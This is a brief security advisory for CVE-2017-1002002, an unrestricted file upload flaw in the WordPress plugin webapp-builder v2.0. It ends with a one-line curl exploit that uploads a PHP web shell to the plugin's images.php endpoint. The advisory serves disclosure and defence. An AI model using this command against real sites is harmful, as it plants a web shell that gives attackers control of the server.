Unrestricted File Upload vulnerability in Wordpress Plugin webapp-builder v2.0
File upload vulnerability
CVE ID(s):
CVE-2017-1002002
Summary: The plugin includes unlicensed vulnerable CMS software from http://www.invedion.com/
Notified: 2017-03-01
Description:
"Make your WordPress website mobile-friendly app (Ready for Google Play & Appstore) with just a few clicks."
Exploit:
$ curl -F "file=@/var/www/shell.php" "http://example.com/wordpress/wp-content/plugins/webapp-builder/server/images.php"